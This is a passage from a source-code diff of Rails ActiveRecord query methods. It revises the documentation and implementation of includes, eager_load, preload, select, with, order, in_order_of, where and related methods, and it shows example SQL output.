-        offset_bind = Attribute.with_cast_value(
-          "OFFSET".freeze,
-          offset_value.to_i,
-          Type.default_value,
-        )
-      end
-      connection.combine_bind_parameters(
-        from_clause: from_clause.binds,
-        join_clause: arel.bind_values,
-        where_clause: where_clause.binds,
-        having_clause: having_clause.binds,
-        limit: limit_bind,
-        offset: offset_bind,
-      )
-    end
-
     alias extensions extending_values
 
-    # Specify relationships to be included in the result set. For
-    # example:
+    # Specify associations +args+ to be eager loaded to prevent N + 1 queries.
+    # A separate query is performed for each association, unless a join is
+    # required by conditions.
+    #
+    # For example:
     #
-    #   users = User.includes(:address)
+    #   users = User.includes(:address).limit(5)
     #   users.each do |user|
     #     user.address.city
     #   end
     #
-    # allows you to access the +address+ attribute of the +User+ model without
-    # firing an additional query. This will often result in a
-    # performance improvement over a simple join.
+    #   # SELECT "users".* FROM "users" LIMIT 5
+    #   # SELECT "addresses".* FROM "addresses" WHERE "addresses"."id" IN (1,2,3,4,5)
     #
-    # You can also specify multiple relationships, like this:
+    # Instead of loading the 5 addresses with 5 separate queries, all addresses
+    # are loaded with a single query.
     #
-    #   users = User.includes(:address, :friends)
+    # Loading the associations in a separate query will often result in a
+    # performance improvement over a simple join, as a join can result in many
+    # rows that contain redundant data and it performs poorly at scale.
     #
-    # Loading nested relationships is possible using a Hash:
+    # You can also specify multiple associations. Each association will result
+    # in an additional query:
     #
-    #   users = User.includes(:address, friends: [:address, :followers])
+    #   User.includes(:address, :friends).to_a
+    #   # SELECT "users".* FROM "users"
+    #   # SELECT "addresses".* FROM "addresses" WHERE "addresses"."id" IN (1,2,3,4,5)
+    #   # SELECT "friends".* FROM "friends" WHERE "friends"."user_id" IN (1,2,3,4,5)
     #
-    # === conditions
+    # Loading nested associations is possible using a Hash:
     #
-    # If you want to add conditions to your included models you'll have
+    #   User.includes(:address, friends: [:address, :followers])
+    #
+    # === Conditions
+    #
+    # If you want to add string conditions to your included models, you'll have
     # to explicitly reference them. For example:
     #
-    #   User.includes(:posts).where('posts.name = ?', 'example')
+    #   User.includes(:posts).where('posts.name = ?', 'example').to_a
     #
     # Will throw an error, but this will work:
     #
-    #   User.includes(:posts).where('posts.name = ?', 'example').references(:posts)
+    #   User.includes(:posts).where('posts.name = ?', 'example').references(:posts).to_a
+    #   # SELECT "users"."id" AS t0_r0, ... FROM "users"
+    #   #   LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id"
+    #   #   WHERE "posts"."name" = ?  [["name", "example"]]
+    #
+    # As the <tt>LEFT OUTER JOIN</tt> already contains the posts, the second query for
+    # the posts is no longer performed.
     #
     # Note that #includes works with association names while #references needs
     # the actual table name.
+    #
+    # If you pass the conditions via a Hash, you don't need to call #references
+    # explicitly, as #where references the tables for you. For example, this
+    # will work correctly:
+    #
+    #   User.includes(:posts).where(posts: { name: 'example' })
+    #
+    # NOTE: Conditions affect both sides of an association. For example, the
+    # above code will return only users that have a post named "example",
+    # <em>and will only include posts named "example"</em>, even when a
+    # matching user has other additional posts.
     def includes(*args)
-      check_if_method_has_arguments!(:includes, args)
+      check_if_method_has_arguments!(__callee__, args)
       spawn.includes!(*args)
     end
 
     def includes!(*args) # :nodoc:
-      args.reject!(&:blank?)
-      args.flatten!
-
       self.includes_values |= args
       self
     end
 
-    # Forces eager loading by performing a LEFT OUTER JOIN on +args+:
+    def all # :nodoc:
+      spawn
+    end
+
+    # Specify associations +args+ to be eager loaded using a <tt>LEFT OUTER JOIN</tt>.
+    # Performs a single query joining all specified associations. For example:
+    #
+    #   users = User.eager_load(:address).limit(5)
+    #   users.each do |user|
+    #     user.address.city
+    #   end
+    #
+    #   # SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, ... FROM "users"
+    #   #   LEFT OUTER JOIN "addresses" ON "addresses"."id" = "users"."address_id"
+    #   #   LIMIT 5
+    #
+    # Instead of loading the 5 addresses with 5 separate queries, all addresses
+    # are loaded with a single joined query.
+    #
+    # Loading multiple and nested associations is possible using Hashes and Arrays,
+    # similar to #includes:
+    #
+    #   User.eager_load(:address, friends: [:address, :followers])
+    #   # SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, ... FROM "users"
+    #   #   LEFT OUTER JOIN "addresses" ON "addresses"."id" = "users"."address_id"
+    #   #   LEFT OUTER JOIN "friends" ON "friends"."user_id" = "users"."id"
+    #   #   ...
     #
-    #   User.eager_load(:posts)
-    #   # SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, ...
-    #   # FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" =
-    #   # "users"."id"
+    # NOTE: Loading the associations in a join can result in many rows that
+    # contain redundant data and it performs poorly at scale.
     def eager_load(*args)
-      check_if_method_has_arguments!(:eager_load, args)
+      check_if_method_has_arguments!(__callee__, args)
       spawn.eager_load!(*args)
     end
 
     def eager_load!(*args) # :nodoc:
-      self.eager_load_values += args
+      self.eager_load_values |= args
       self
     end
 
-    # Allows preloading of +args+, in the same way that #includes does:
+    # Specify associations +args+ to be eager loaded using separate queries.
+    # A separate query is performed for each association.
     #
-    #   User.preload(:posts)
-    #   # SELECT "posts".* FROM "posts" WHERE "posts"."user_id" IN (1, 2, 3)
+    #   users = User.preload(:address).limit(5)
+    #   users.each do |user|
+    #     user.address.city
+    #   end
+    #
+    #   # SELECT "users".* FROM "users" LIMIT 5
+    #   # SELECT "addresses".* FROM "addresses" WHERE "addresses"."id" IN (1,2,3,4,5)
+    #
+    # Instead of loading the 5 addresses with 5 separate queries, all addresses
+    # are loaded with a separate query.
+    #
+    # Loading multiple and nested associations is possible using Hashes and Arrays,
+    # similar to #includes:
+    #
+    #   User.preload(:address, friends: [:address, :followers])
+    #   # SELECT "users".* FROM "users"
+    #   # SELECT "addresses".* FROM "addresses" WHERE "addresses"."id" IN (1,2,3,4,5)
+    #   # SELECT "friends".* FROM "friends" WHERE "friends"."user_id" IN (1,2,3,4,5)
+    #   # SELECT ...
     def preload(*args)
-      check_if_method_has_arguments!(:preload, args)
+      check_if_method_has_arguments!(__callee__, args)
       spawn.preload!(*args)
     end
 
     def preload!(*args) # :nodoc:
-      self.preload_values += args
+      self.preload_values |= args
       self
     end
 
+    # Extracts a named +association+ from the relation. The named association is first preloaded,
+    # then the individual association records are collected from the relation. Like so:
+    #
+    #   account.memberships.extract_associated(:user)
+    #   # => Returns collection of User records
+    #
+    # This is short-hand for:
+    #
+    #   account.memberships.preload(:user).collect(&:user)
+    def extract_associated(association)
+      preload(association).collect(&association)
+    end
+
     # Use to indicate that the given +table_names+ are referenced by an SQL string,
-    # and should therefore be JOINed in any query rather than loaded separately.
+    # and should therefore be +JOIN+ed in any query rather than loaded separately.
     # This method only works in conjunction with #includes.
     # See #includes for more details.
     #
@@ -188,26 +353,24 @@ def preload!(*args) # :nodoc:
     #   User.includes(:posts).where("posts.name = 'foo'").references(:posts)
     #   # Query now knows the string references posts, so adds a JOIN
     def references(*table_names)
-      check_if_method_has_arguments!(:references, table_names)
+      check_if_method_has_arguments!(__callee__, table_names)
       spawn.references!(*table_names)
     end
 
     def references!(*table_names) # :nodoc:
-      table_names.flatten!
-      table_names.map!(&:to_s)
-
       self.references_values |= table_names
       self
     end
 
     # Works in two unique ways.
     #
-    # First: takes a block so it can be used just like +Array#select+.
+    # First: takes a block so it can be used just like <tt>Array#select</tt>.
     #
     #   Model.all.select { |m| m.field == value }
     #
     # This will build an array of objects from the database for the scope,
-    # converting them into an array and iterating through them using +Array#select+.
+    # converting them into an array and iterating through them using
+    # <tt>Array#select</tt>.
     #
     # Second: Modifies the SELECT statement for the query so that only certain
     # fields are retrieved:
@@ -224,10 +387,18 @@ def references!(*table_names) # :nodoc:
     #   Model.select(:field, :other_field, :and_one_more)
     #   # => [#<Model id: nil, field: "value", other_field: "value", and_one_more: "value">]
     #
+    # The argument also can be a hash of fields and aliases.
+    #
+    #   Model.select(models: { field: :alias, other_field: :other_alias })
+    #   # => [#<Model id: nil, alias: "value", other_alias: "value">]
+    #
+    #   Model.select(models: [:field, :other_field])
+    #   # => [#<Model id: nil, field: "value", other_field: "value">]
+    #
     # You can also use one or more strings, which will be used unchanged as SELECT fields.
     #
     #   Model.select('field AS field_one', 'other_field AS field_two')
-    #   # => [#<Model id: nil, field: "value", other_field: "value">]
+    #   # => [#<Model id: nil, field_one: "value", field_two: "value">]
     #
     # If an alias was specified, it will be accessible from the resulting objects:
     #
@@ -238,7 +409,7 @@ def references!(*table_names) # :nodoc:
     # except +id+ will throw ActiveModel::MissingAttributeError:
     #
     #   Model.select(:field).first.other_field
-    #   # => ActiveModel::MissingAttributeError: missing attribute: other_field
+    #   # => ActiveModel::MissingAttributeError: missing attribute 'other_field' for Model
     def select(*fields)
       if block_given?
         if fields.any?
@@ -248,16 +419,134 @@ def select(*fields)
         return super()
       end
 
-      raise ArgumentError, "Call this with at least one field" if fields.empty?
+      check_if_method_has_arguments!(__callee__, fields, "Call `select' with at least one field.")
+
+      fields = process_select_args(fields)
       spawn._select!(*fields)
     end
 
     def _select!(*fields) # :nodoc:
-      fields.flatten!
-      fields.map! do |field|
-        klass.attribute_alias?(field) ? klass.attribute_alias(field).to_sym : field
-      end
-      self.select_values += fields
+      self.select_values |= fields
+      self
+    end
+
+    # Add a Common Table Expression (CTE) that you can then reference within another SELECT statement.
+    #
+    # Note: CTE's are only supported in MySQL for versions 8.0 and above. You will not be able to
+    # use CTE's with MySQL 5.7.
+    #
+    #   Post.with(posts_with_tags: Post.where("tags_count > ?", 0))
+    #   # => ActiveRecord::Relation
+    #   # WITH posts_with_tags AS (
+    #   #   SELECT * FROM posts WHERE (tags_count > 0)
+    #   # )
+    #   # SELECT * FROM posts
+    #
+    # You can also pass an array of sub-queries to be joined in a +UNION ALL+.
+    #
+    #   Post.with(posts_with_tags_or_comments: [Post.where("tags_count > ?", 0), Post.where("comments_count > ?", 0)])
+    #   # => ActiveRecord::Relation
+    #   # WITH posts_with_tags_or_comments AS (
+    #   #  (SELECT * FROM posts WHERE (tags_count > 0))
+    #   #  UNION ALL
+    #   #  (SELECT * FROM posts WHERE (comments_count > 0))
+    #   # )
+    #   # SELECT * FROM posts
+    #
+    # Once you define Common Table Expression you can use custom +FROM+ value or +JOIN+ to reference it.
+    #
+    #   Post.with(posts_with_tags: Post.where("tags_count > ?", 0)).from("posts_with_tags AS posts")
+    #   # => ActiveRecord::Relation
+    #   # WITH posts_with_tags AS (
+    #   #  SELECT * FROM posts WHERE (tags_count > 0)
+    #   # )
+    #   # SELECT * FROM posts_with_tags AS posts
+    #
+    #   Post.with(posts_with_tags: Post.where("tags_count > ?", 0)).joins("JOIN posts_with_tags ON posts_with_tags.id = posts.id")
+    #   # => ActiveRecord::Relation
+    #   # WITH posts_with_tags AS (
+    #   #   SELECT * FROM posts WHERE (tags_count > 0)
+    #   # )
+    #   # SELECT * FROM posts JOIN posts_with_tags ON posts_with_tags.id = posts.id
+    #
+    # It is recommended to pass a query as ActiveRecord::Relation. If that is not possible
+    # and you have verified it is safe for the database, you can pass it as SQL literal
+    # using +Arel+.
+    #
+    #   Post.with(popular_posts: Arel.sql("... complex sql to calculate posts popularity ..."))
+    #
+    # Great caution should be taken to avoid SQL injection vulnerabilities. This method should not
+    # be used with unsafe values that include unsanitized input.
+    #
+    # To add multiple CTEs just pass multiple key-value pairs
+    #
+    #   Post.with(
+    #     posts_with_comments: Post.where("comments_count > ?", 0),
+    #     posts_with_tags: Post.where("tags_count > ?", 0)
+    #   )
+    #
+    # or chain multiple +.with+ calls
+    #
+    #   Post
+    #     .with(posts_with_comments: Post.where("comments_count > ?", 0))
+    #     .with(posts_with_tags: Post.where("tags_count > ?", 0))
+    def with(*args)
+      raise ArgumentError, "ActiveRecord::Relation#with does not accept a block" if block_given?
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.with!(*args)
+    end
+
+    # Like #with, but modifies relation in place.
+    def with!(*args) # :nodoc:
+      args = process_with_args(args)
+      self.with_values |= args
+      self
+    end
+
+    # Add a recursive Common Table Expression (CTE) that you can then reference within another SELECT statement.
+    #
+    #   Post.with_recursive(post_and_replies: [Post.where(id: 42), Post.joins('JOIN post_and_replies ON posts.in_reply_to_id = post_and_replies.id')])
+    #   # => ActiveRecord::Relation
+    #   # WITH RECURSIVE post_and_replies AS (
+    #   #   (SELECT * FROM posts WHERE id = 42)
+    #   #   UNION ALL
+    #   #   (SELECT * FROM posts JOIN post_and_replies ON posts.in_reply_to_id = post_and_replies.id)
+    #   # )
+    #   # SELECT * FROM posts
+    #
+    # See `#with` for more information.
+    def with_recursive(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.with_recursive!(*args)
+    end
+
+    # Like #with_recursive but modifies the relation in place.
+    def with_recursive!(*args) # :nodoc:
+      args = process_with_args(args)
+      self.with_values |= args
+      @with_is_recursive = true
+      self
+    end
+
+    # Allows you to change a previously set select statement.
+    #
+    #   Post.select(:title, :body)
+    #   # SELECT `posts`.`title`, `posts`.`body` FROM `posts`
+    #
+    #   Post.select(:title, :body).reselect(:created_at)
+    #   # SELECT `posts`.`created_at` FROM `posts`
+    #
+    # This is short-hand for <tt>unscope(:select).select(fields)</tt>.
+    # Note that we're unscoping the entire select statement.
+    def reselect(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      args = process_select_args(args)
+      spawn.reselect!(*args)
+    end
+
+    # Same as #reselect but operates on relation in-place instead of copying.
+    def reselect!(*args) # :nodoc:
+      self.select_values = args
       self
     end
 
@@ -282,28 +571,67 @@ def _select!(*fields) # :nodoc:
     #   User.select([:id, :first_name]).group(:id, :first_name).first(3)
     #   # => [#<User id: 1, first_name: "Bill">, #<User id: 2, first_name: "Earl">, #<User id: 3, first_name: "Beto">]
     def group(*args)
-      check_if_method_has_arguments!(:group, args)
+      check_if_method_has_arguments!(__callee__, args)
       spawn.group!(*args)
     end
 
     def group!(*args) # :nodoc:
-      args.flatten!
+      self.group_values |= args
+      self
+    end
+
+    # Allows you to change a previously set group statement.
+    #
+    #   Post.group(:title, :body)
+    #   # SELECT `posts`.`*` FROM `posts` GROUP BY `posts`.`title`, `posts`.`body`
+    #
+    #   Post.group(:title, :body).regroup(:title)
+    #   # SELECT `posts`.`*` FROM `posts` GROUP BY `posts`.`title`
+    #
+    # This is short-hand for <tt>unscope(:group).group(fields)</tt>.
+    # Note that we're unscoping the entire group statement.
+    def regroup(*args)
+      check_if_method_has_arguments!(__callee__, args)
+      spawn.regroup!(*args)
+    end
 
-      self.group_values += args
+    # Same as #regroup but operates on relation in-place instead of copying.
+    def regroup!(*args) # :nodoc:
+      self.group_values = args
       self
     end
 
-    # Allows to specify an order attribute:
+    # Applies an <code>ORDER BY</code> clause to a query.
+    #
+    # #order accepts arguments in one of several formats.
+    #
+    # === symbols
+    #
+    # The symbol represents the name of the column you want to order the results by.
     #
     #   User.order(:name)
     #   # SELECT "users".* FROM "users" ORDER BY "users"."name" ASC
     #
+    # By default, the order is ascending. If you want descending order, you can
+    # map the column name symbol to +:desc+.
+    #
     #   User.order(email: :desc)
     #   # SELECT "users".* FROM "users" ORDER BY "users"."email" DESC
     #
+    # Multiple columns can be passed this way, and they will be applied in the order specified.
+    #
     #   User.order(:name, email: :desc)
     #   # SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC
     #
+    # === strings
+    #
+    # Strings are passed directly to the database, allowing you to specify
+    # simple SQL expressions.
+    #
+    # This could be a source of SQL injection, so only strings composed of plain
+    # column names and simple <code>function(column_name)</code> expressions
+    # with optional +ASC+/+DESC+ modifiers are allowed.
+    #
     #   User.order('name')
     #   # SELECT "users".* FROM "users" ORDER BY name
     #
@@ -312,18 +640,106 @@ def group!(*args) # :nodoc:
     #
     #   User.order('name DESC, email')
     #   # SELECT "users".* FROM "users" ORDER BY name DESC, email
+    #
+    # === Arel
+    #
+    # If you need to pass in complicated expressions that you have verified
+    # are safe for the database, you can use Arel.
+    #
+    #   User.order(Arel.sql('end_date - start_date'))
+    #   # SELECT "users".* FROM "users" ORDER BY end_date - start_date
+    #
+    # Custom query syntax, like JSON columns for PostgreSQL, is supported in this way.
+    #
+    #   User.order(Arel.sql("payload->>'kind'"))
+    #   # SELECT "users".* FROM "users" ORDER BY payload->>'kind'
     def order(*args)
-      check_if_method_has_arguments!(:order, args)
+      check_if_method_has_arguments!(__callee__, args) do
+        sanitize_order_arguments(args)
+      end
       spawn.order!(*args)
     end
 
+    # Same as #order but operates on relation in-place instead of copying.
     def order!(*args) # :nodoc:
-      preprocess_order_args(args)
-
-      self.order_values += args
+      preprocess_order_args(args) unless args.empty?
+      self.order_values |= args
       self
     end
 
+    # Applies an <tt>ORDER BY</tt> clause based on a given +column+,
+    # ordered and filtered by a specific set of +values+.
+    #
+    #   User.in_order_of(:id, [1, 5, 3])
+    #   # SELECT "users".* FROM "users"
+    #   #   WHERE "users"."id" IN (1, 5, 3)
+    #   #   ORDER BY CASE
+    #   #     WHEN "users"."id" = 1 THEN 1
+    #   #     WHEN "users"."id" = 5 THEN 2
+    #   #     WHEN "users"."id" = 3 THEN 3
+    #   #   END ASC
+    #
+    # +column+ can point to an enum column; the actual query generated may be different depending
+    # on the database adapter and the column definition.
+    #
+    #   class Conversation < ActiveRecord::Base
+    #     enum :status, [ :active, :archived ]
+    #   end
+    #
+    #   Conversation.in_order_of(:status, [:archived, :active])
+    #   # SELECT "conversations".* FROM "conversations"
+    #   #   WHERE "conversations"."status" IN (1, 0)
+    #   #   ORDER BY CASE
+    #   #     WHEN "conversations"."status" = 1 THEN 1
+    #   #     WHEN "conversations"."status" = 0 THEN 2
+    #   #   END ASC
+    #
+    # +values+ can also include +nil+.
+    #
+    #   Conversation.in_order_of(:status, [nil, :archived, :active])
+    #   # SELECT "conversations".* FROM "conversations"
+    #   #   WHERE ("conversations"."status" IN (1, 0) OR "conversations"."status" IS NULL)
+    #   #   ORDER BY CASE
+    #   #     WHEN "conversations"."status" IS NULL THEN 1
+    #   #     WHEN "conversations"."status" = 1 THEN 2
+    #   #     WHEN "conversations"."status" = 0 THEN 3
+    #   #   END ASC
+    #
+    # +filter+ can be set to +false+ to include all results instead of only the ones specified in +values+.
+    #
+    #   Conversation.in_order_of(:status, [:archived, :active], filter: false)
+    #   # SELECT "conversations".* FROM "conversations"
+    #   #   ORDER BY CASE
+    #   #     WHEN "conversations"."status" = 1 THEN 1
+    #   #     WHEN "conversations"."status" = 0 THEN 2
+    #   #     ELSE 3
+    #   #   END ASC
+    def in_order_of(column, values, filter: true)
+      model.disallow_raw_sql!([column], permit: model.adapter_class.column_name_with_order_matcher)
+      return spawn.none! if values.empty?
+
+      references = column_references([column])
+      self.references_values |= references unless references.empty?
+
+      values = values.map { |value| model.type_caster.type_cast_for_database(column, value) }
+      arel_column = column.is_a?(Arel::Nodes::SqlLiteral) ? column : order_column(column.to_s)
+
+      scope = spawn.order!(build_case_for_value_position(arel_column, values, filter: filter))
+
+      if filter
+        where_clause =
+          if values.include?(nil)
+            arel_column.in(values.compact).or(arel_column.eq(nil))
+          else
+            arel_column.in(values)
+          end
+
+        scope = scope.where!(where_clause)
+      end
+
+      scope
+    end
+
     # Replaces any existing order defined on the relation with the specified order.
     #
     #   User.order('email DESC').reorder('id ASC') # generated SQL has 'ORDER BY id ASC'
@@ -332,23 +748,27 @@ def order!(*args) # :nodoc:
     #
     #   User.order('email DESC').reorder('id ASC').order('name ASC')
     #
-    # generates a query with 'ORDER BY id ASC, name ASC'.
+    # generates a query with <tt>ORDER BY id ASC, name ASC</tt>.
     def reorder(*args)
-      check_if_method_has_arguments!(:reorder, args)
+      check_if_method_has_arguments!(__callee__, args) do
+        sanitize_order_arguments(args)
+      end
       spawn.reorder!(*args)
     end
 
+    # Same as #reorder but operates on relation in-place instead of copying.
     def reorder!(*args) # :nodoc:
       preprocess_order_args(args)
-
+      args.uniq!
       self.reordering_value = true
       self.order_values = args
       self
     end
 
     VALID_UNSCOPING_VALUES = Set.new([:where, :select, :group, :order, :lock,
-                                     :limit, :offset, :joins, :includes, :from,
-                                     :readonly, :having])
+                                     :limit, :offset, :joins, :left_outer_joins, :annotate,
+                                     :includes, :eager_load, :preload, :from, :readonly,
+                                     :having, :optimizer_hints, :with])
 
     # Removes an unwanted relation that is already defined on a chain of relations.
     # This is useful when passing around chains of relations and would like to
@@ -384,28 +804,29 @@ def reorder!(*args) # :nodoc:
     #   has_many :comments, -> { unscope(where: :trashed) }
     #
     def unscope(*args)
-      check_if_method_has_arguments!(:unscope, args)
+      check_if_method_has_arguments!(__callee__, args)
       spawn.unscope!(*args)
     end
 
     def unscope!(*args) # :nodoc:
-      args.flatten!
-      self.unscope_values += args
+      self.unscope_values |= args
 
       args.each do |scope|
         case scope
         when Symbol
+          scope = :left_outer_joins if scope == :left_joins
           if !VALID_UNSCOPING_VALUES.include?(scope)
             raise ArgumentError, "Called unscope() with invalid unscoping argument ':#{scope}'. Valid arguments are :#{VALID_UNSCOPING_VALUES.to_a.join(", :")}."
           end
-          set_value(scope, nil)
+          assert_modifiable!
+          @values.delete(scope)
         when Hash
           scope.each do |key, target_value|
             if key != :where
               raise ArgumentError, "Hash arguments in .unscope(*args) must have :where as the key."
             end
 
-            target_values = Array(target_value).map(&:to_s)
+            target_values = resolve_arel_attributes(Array.wrap(target_value))
             self.where_clause = where_clause.except(*target_values)
           end
         else
@@ -416,7 +837,7 @@ def unscope!(*args) # :nodoc:
       self
     end
 
-    # Performs a joins on +args+. The given symbol(s) should match the name of
+    # Performs JOINs on +args+. The given symbol(s) should match the name of
     # the association(s).
     #
     #   User.joins(:posts)
@@ -438,42 +859,35 @@ def unscope!(*args) # :nodoc:
     #   # SELECT "users".*
     #   # FROM "users"
     #   # INNER JOIN "posts" ON "posts"."user_id" = "users"."id"
-    #   # INNER JOIN "comments" "comments_posts"
-    #   #   ON "comments_posts"."post_id" = "posts"."id"
+    #   # INNER JOIN "comments" ON "comments"."post_id" = "posts"."id"
     #
     # You can use strings in order to customize your joins:
     #
     #   User.joins("LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id")
     #   # SELECT "users".* FROM "users" LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id
     def joins(*args)
-      check_if_method_has_arguments!(:joins, args)
+      check_if_method_has_arguments!(__callee__, args)
       spawn.joins!(*args)
     end
 
     def joins!(*args) # :nodoc:
-      args.compact!
-      args.flatten!
-      self.joins_values += args
+      self.joins_values |= args
       self
     end
 
-    # Performs a left outer joins on +args+:
+    # Performs LEFT OUTER JOINs on +args+:
     #
     #   User.left_outer_joins(:posts)
-    #   => SELECT "users".* FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id"
+    #   # SELECT "users".* FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id"
     #
     def left_outer_joins(*args)
-      check_if_method_has_arguments!(:left_outer_joins, args)
-
-      args.compact!
-      args.flatten!
-
+      check_if_method_has_arguments!(__callee__, args)
       spawn.left_outer_joins!(*args)
     end
     alias :left_joins :left_outer_joins
 
     def left_outer_joins!(*args) # :nodoc:
-      self.left_outer_joins_values += args
+      self.left_outer_joins_values |= args
       self
     end
 
@@ -484,7 +898,7 @@ def left_outer_joins!(*args) # :nodoc:
     # SQL is given as an illustration; the actual query generated may be different depending
     # on the database adapter.
     #
-    # === string
+    # === \String
     #
     # A single string, without additional arguments, is passed to the query
     # constructor as an SQL fragment, and used in the where clause of the query.
@@ -496,7 +910,7 @@ def left_outer_joins!(*args) # :nodoc:
     # to injection attacks if not done properly. As an alternative, it is recommended
     # to use one of the following methods.
     #
-    # === array
+    # === \Array
     #
     # If an array is passed, then the first element of the array is treated as a template, and
     # the remaining elements are inserted into the template to generate the condition.
@@ -536,20 +950,20 @@ def left_outer_joins!(*args) # :nodoc:
     # dependencies on the underlying database. If your code is intended for general consumption,
     # test with multiple database backends.
     #
-    # === hash
+    # === \Hash
     #
     # #where will also accept a hash condition, in which the keys are fields and the values
     # are values to be searched for.
     #
     # Fields can be symbols or strings. Values can be single values, arrays, or ranges.
     #
-    #    User.where({ name: "Joe", email: "joe@example.com" })
+    #    User.where(name: "Joe", email: "joe@example.com")
     #    # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe@example.com'
     #
-    #    User.where({ name: ["Alice", "Bob"]})
+    #    User.where(name: ["Alice", "Bob"])
     #    # SELECT * FROM users WHERE name IN ('Alice', 'Bob')
     #
-    #    User.where({ created_at: (Time.now.midnight - 1.day)..Time.now.midnight })
+    #    User.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)
     #    # SELECT * FROM users WHERE (created_at BETWEEN '2012-06-09 07:00:00.000000' AND '2012-06-10 07:00:00.000000')
     #
     # In the case of a belongs_to relationship, an association key can be used
@@ -570,6 +984,12 @@ def left_outer_joins!(*args) # :nodoc:
     #    PriceEstimate.where(estimate_of: treasure)
     #    PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: treasure)
     #
+    # Hash conditions may also be specified in a tuple-like syntax. Hash keys may be
+    # an array of columns with an array of tuples as values.
+    #
+    #   Article.where([:author_id, :id] => [[15, 1], [15, 2]])
+    #   # SELECT * FROM articles WHERE author_id = 15 AND id = 1 OR author_id = 15 AND id = 2
+    #
     # === Joins
     #
     # If the relation is the result of a join, you may create a condition which uses any of the
@@ -579,37 +999,49 @@ def left_outer_joins!(*args) # :nodoc:
     #
     # For hash conditions, you can either use the table name in the key, or use a sub-hash.
     #
-    #    User.joins(:posts).where({ "posts.published" => true })
-    #    User.joins(:posts).where({ posts: { published: true } })
+    #    User.joins(:posts).where("posts.published" => true)
+    #    User.joins(:posts).where(posts: { published: true })
     #
-    # === no argument
+    # === No Argument
     #
     # If no argument is passed, #where returns a new instance of WhereChain, that
-    # can be chained with #not to return a new relation that negates the where clause.
+    # can be chained with WhereChain#not, WhereChain#missing, or WhereChain#associated.
+    #
+    # Chaining with WhereChain#not:
     #
     #    User.where.not(name: "Jon")
     #    # SELECT * FROM users WHERE name != 'Jon'
     #
-    # See WhereChain for more details on #not.
+    # Chaining with WhereChain#associated:
+    #
+    #    Post.where.associated(:author)
+    #    # SELECT "posts".* FROM "posts"
+    #    # INNER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+    #    # WHERE "authors"."id" IS NOT NULL
+    #
+    # Chaining with WhereChain#missing:
     #
-    # === blank condition
+    #    Post.where.missing(:author)
+    #    # SELECT "posts".* FROM "posts"
+    #    # LEFT OUTER JOIN "authors" ON "authors"."id" = "posts"."author_id"
+    #    # WHERE "authors"."id" IS NULL
+    #
+    # === Blank Condition
     #
     # If the condition is any blank-ish object, then #where is a no-op and returns
     # the current relation.
-    def where(opts = :chain, *rest)
-      if :chain == opts
+    def where(*args)
+      if args.empty?
         WhereChain.new(spawn)
-      elsif opts.blank?
+      elsif args.length == 1 && args.first.blank?
         self
       else
-        spawn.where!(opts, *rest)
+        spawn.where!(*args)
       end
     end
 
     def where!(opts, *rest) # :nodoc:
-      opts = sanitize_forbidden_attributes(opts)
-      references!(PredicateBuilder.references(opts)) if Hash === opts
-      self.where_clause += where_clause_factory.build(opts, rest)
+      self.where_clause += build_where_clause(opts, rest)
       self
     end
 
@@ -627,7 +1059,99 @@ def where!(opts, *rest) # :nodoc:
     # This is short-hand for <tt>unscope(where: conditions.keys).where(conditions)</tt>.
     # Note that unlike reorder, we're only unscoping the named conditions -- not the entire where statement.
     def rewhere(conditions)
-      unscope(where: conditions.keys).where(conditions)
+      return unscope(:where) if conditions.nil?
+
+      scope = spawn
+      where_clause = scope.build_where_clause(conditions)
+
+      scope.unscope!(where: where_clause.extract_attributes)
+      scope.where_clause += where_clause
+      scope
+    end
+
+    # Allows you to invert an entire where clause instead of manually applying conditions.
+    #
+    #   class User
+    #     scope :active, -> { where(accepted: true, locked: false) }
+    #   end
+    #
+    #   User.where(accepted: true)
+    #   # WHERE `accepted` = 1
+    #
+    #   User.where(accepted: true).invert_where
+    #   # WHERE `accepted` != 1
+    #
+    #   User.active
+    #   # WHERE `accepted` = 1 AND `locked` = 0
+    #
+    #   User.active.invert_where
+    #   # WHERE NOT (`accepted` = 1 AND `locked` = 0)
+    #
+    # Be careful because this inverts all conditions before +invert_where+ call.
+    #
+    #   class User
+    #     scope :active, -> { where(accepted: true, locked: false) }
+    #     scope :inactive, -> { active.invert_where } # Do not attempt it
+    #   end
+    #
+    #   # It also inverts `where(role: 'admin')` unexpectedly.
+    #   User.where(role: 'admin').inactive
+    #   # WHERE NOT (`role` = 'admin' AND `accepted` = 1 AND `locked` = 0)
+    #
+    def invert_where
+      spawn.invert_where!
+    end
+
+    def invert_where! # :nodoc:
+      self.where_clause = where_clause.invert
+      self
+    end
+
+    # Checks whether the given relation is structurally compatible with this relation, to determine
+    # if it's possible to use the #and and #or methods without raising an error. Structurally
+    # compatible is defined as: they must be scoping the same model, and they must differ only by
+    # #where (if no #group has been defined) or #having (if a #group is present).
+    #
+    #    Post.where("id = 1").structurally_compatible?(Post.where("author_id = 3"))
+    #    # => true
+    #
+    #    Post.joins(:comments).structurally_compatible?(Post.where("id = 1"))
+    #    # => false
+    #
+    def structurally_compatible?(other)
+      structurally_incompatible_values_for(other).empty?
+    end
+
+    # Returns a new relation, which is the logical intersection of this relation and the one passed
+    # as an argument.
+    #
+    # The two relations must be structurally compatible: they must be scoping the same model, and
+    # they must differ only by #where (if no #group has been defined) or #having (if a #group is
+    # present).
+    #
+    #    Post.where(id: [1, 2]).and(Post.where(id: [2, 3]))
+    #    # SELECT `posts`.* FROM `posts` WHERE `posts`.`id` IN (1, 2) AND `posts`.`id` IN (2, 3)
+    #
+    def and(other)
+      if other.is_a?(Relation)
+        spawn.and!(other)
+      else
